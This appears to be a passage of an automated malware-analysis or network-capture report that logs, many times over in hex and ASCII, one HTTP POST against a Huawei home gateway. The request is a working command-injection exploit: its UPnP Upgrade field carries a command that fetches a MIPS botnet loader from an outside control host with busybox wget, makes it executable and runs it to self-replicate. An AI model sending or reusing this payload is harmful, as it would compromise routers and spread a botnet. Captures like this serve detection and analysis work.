2e 6e 75 6c 6c 6e 65 74 3b 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 68 75 61 77 65 69 2e 73 65 6c 66 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g cnc.mamma.su -l /tmp/.nullnet -r /nullnet_bin_dir/nullnet_load.mips; /bin/busybox chmod 777 * /tmp/.nullnet; /tmp/.nullnet huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 63 6e 63 2e 6d 61 6d 6d 61 2e 73 75 20 2d 6c 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 2d 72 20 2f 6e 75 6c 6c 6e 65 74 5f 62 69 6e 5f 64 69 72 2f 6e 75 6c 6c 6e 65 74 5f 6c 6f 61 64 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 3b 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 68 75 61 77 65 69 2e 73 65 6c 66 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g cnc.mamma.su -l /tmp/.nullnet -r /nullnet_bin_dir/nullnet_load.mips; /bin/busybox chmod 777 * /tmp/.nullnet; /tmp/.nullnet huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 63 6e 63 2e 6d 61 6d 6d 61 2e 73 75 20 2d 6c 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 2d 72 20 2f 6e 75 6c 6c 6e 65 74 5f 62 69 6e 5f 64 69 72 2f 6e 75 6c 6c 6e 65 74 5f 6c 6f 61 64 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 3b 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 68 75 61 77 65 69 2e 73 65 6c 66 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g cnc.mamma.su -l /tmp/.nullnet -r /nullnet_bin_dir/nullnet_load.mips; /bin/busybox chmod 777 * /tmp/.nullnet; /tmp/.nullnet huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 63 6e 63 2e 6d 61 6d 6d 61 2e 73 75 20 2d 6c 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 2d 72 20 2f 6e 75 6c 6c 6e 65 74 5f 62 69 6e 5f 64 69 72 2f 6e 75 6c 6c 6e 65 74 5f 6c 6f 61 64 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 3b 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 68 75 61 77 65 69 2e 73 65 6c 66 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g cnc.mamma.su -l /tmp/.nullnet -r /nullnet_bin_dir/nullnet_load.mips; /bin/busybox chmod 777 * /tmp/.nullnet; /tmp/.nullnet huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 63 6e 63 2e 6d 61 6d 6d 61 2e 73 75 20 2d 6c 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 2d 72 20 2f 6e 75 6c 6c 6e 65 74 5f 62 69 6e 5f 64 69 72 2f 6e 75 6c 6c 6e 65 74 5f 6c 6f 61 64 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 3b 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 68 75 61 77 65 69 2e 73 65 6c 66 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g cnc.mamma.su -l /tmp/.nullnet -r /nullnet_bin_dir/nullnet_load.mips; /bin/busybox chmod 777 * /tmp/.nullnet; /tmp/.nullnet huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 63 6e 63 2e 6d 61 6d 6d 61 2e 73 75 20 2d 6c 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 2d 72 20 2f 6e 75 6c 6c 6e 65 74 5f 62 69 6e 5f 64 69 72 2f 6e 75 6c 6c 6e 65 74 5f 6c 6f 61 64 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 3b 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 68 75 61 77 65 69 2e 73 65 6c 66 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g cnc.mamma.su -l /tmp/.nullnet -r /nullnet_bin_dir/nullnet_load.mips; /bin/busybox chmod 777 * /tmp/.nullnet; /tmp/.nullnet huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 63 6e 63 2e 6d 61 6d 6d 61 2e 73 75 20 2d 6c 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 2d 72 20 2f 6e 75 6c 6c 6e 65 74 5f 62 69 6e 5f 64 69 72 2f 6e 75 6c 6c 6e 65 74 5f 6c 6f 61 64 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 3b 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 68 75 61 77 65 69 2e 73 65 6c 66 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g cnc.mamma.su -l /tmp/.nullnet -r /nullnet_bin_dir/nullnet_load.mips; /bin/busybox chmod 777 * /tmp/.nullnet; /tmp/.nullnet huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 63 6e 63 2e 6d 61 6d 6d 61 2e 73 75 20 2d 6c 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 2d 72 20 2f 6e 75 6c 6c 6e 65 74 5f 62 69 6e 5f 64 69 72 2f 6e 75 6c 6c 6e 65 74 5f 6c 6f 61 64 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 3b 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 68 75 61 77 65 69 2e 73 65 6c 66 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g cnc.mamma.su -l /tmp/.nullnet -r /nullnet_bin_dir/nullnet_load.mips; /bin/busybox chmod 777 * /tmp/.nullnet; /tmp/.nullnet huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 63 6e 63 2e 6d 61 6d 6d 61 2e 73 75 20 2d 6c 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 2d 72 20 2f 6e 75 6c 6c 6e 65 74 5f 62 69 6e 5f 64 69 72 2f 6e 75 6c 6c 6e 65 74 5f 6c 6f 61 64 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 3b 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 68 75 61 77 65 69 2e 73 65 6c 66 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g cnc.mamma.su -l /tmp/.nullnet -r /nullnet_bin_dir/nullnet_load.mips; /bin/busybox chmod 777 * /tmp/.nullnet; /tmp/.nullnet huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 